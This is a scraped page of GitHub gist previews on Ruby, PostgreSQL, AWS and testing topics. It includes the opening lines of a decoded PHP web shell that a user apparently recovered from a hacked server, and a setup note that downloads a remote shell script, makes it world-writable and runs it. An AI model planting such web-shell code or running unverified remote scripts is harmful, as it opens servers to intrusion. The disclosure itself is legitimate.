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kerlin / get_workers.rb
Last active November 17, 2021 02:03
Calling the Workday API in Ruby with Savon
#!/usr/bin/env ruby
#
# Example Ruby CLI script to retrieve worker data from Workday
# Call on command line with worker id; prints worker name
# add "request" or "response" after worker id and prints the
# outgoing xml or received hash and exits.
#
# Using Savon version 2 for the SOAP client (2.11.2)
#
# Savon defaults to making the message tag the same as the operation name
@keithpitt
keithpitt / database_state_loader.rb
Last active June 10, 2022 16:32
Note that this code only works with PostgreSQL, but it wouldn’t be too hard to adapt our approach for other relational databases.
# Add to `spec/support/database_state_loader.rb`
class DatabaseStateLoader
class EnvironmentError < RuntimeError; end
def self.load(path)
new(path).load
end
def initialize(path)
@oinopion
oinopion / read-access.sql
Created October 5, 2016 13:00
How to create read only user in PostgreSQL
-- Create a group
CREATE ROLE readaccess;
-- Grant access to existing tables
GRANT USAGE ON SCHEMA public TO readaccess;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readaccess;
-- Grant access to future tables
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO readaccess;
@leonardofed
leonardofed / README.md
Last active May 8, 2025 09:49
A curated list of AWS resources to prepare for the AWS Certifications


A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.


@antimatter15
antimatter15 / xstyles.php
Created May 31, 2015 09:04
Decoded from my hacked server
<?php
$auth_pass = "";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@myronmarston
myronmarston / without_foreign_keys.rb
Created September 6, 2014 04:36
Example of how to disable foreign keys for a particular context
RSpec.shared_context "without foreign key constraints", :disable_foreign_keys do
def without_foreign_key_checks
DB.run('SET foreign_key_checks = 0;')
yield
ensure
DB.run('SET foreign_key_checks = 1;')
end
around(:example) { |ex| without_foreign_key_checks(&ex) }
end
@bf4
bf4 / services.md
Last active August 2, 2017 13:26
Analytics, Metrics and Error monitoring services (and roll your own via logging, etc)
@sjahandideh
sjahandideh / How to demo feature specs.md
Last active December 28, 2015 01:49
How to demo your feature specs

In order to demo your feature specs, follow these steps:

  1. Add capybara, poltergeist, launchy and selenium-webdriver to your Gemfile under test and development group.
  2. Add the attached demo helper to your spec/support.
  3. Add the capybara config to your spec_helper file.
  4. Run bundle install.
  5. Write your feature with its scenario specs.
  6. Put a demo filter on each scenario you want to demo. ( refer to the example below )
  7. Run bundle exec rspec spec.
@shantanusingh
shantanusingh / Tesseract-Amazon-AMI.md
Last active September 19, 2023 10:10
Tesseract on Amazon-AMI

sudo yum update

##Install Redis https://gist.github.com/dstroot/2776679

wget https://raw.github.com/gist/2776679/04ca3bbb9f085b192f6aca945120fe12d59f15f9/install-redis.sh
chmod 777 install-redis.sh
./install-redis.sh

@equivalent
equivalent / app-model-document.rb
Last active October 29, 2018 07:47
Recursion example in Ruby on Rails model. Recursion will generate array of parents parents
class Document < ActiveRecord::Base
belongs_to :parent, class_name: 'Document'
def self.get_ancestors(who)
@tree ||= []
# @tree is instance variable of Document class object not document instance object
# so: Document.get_instance_variable('@tree')
if who.parent.nil?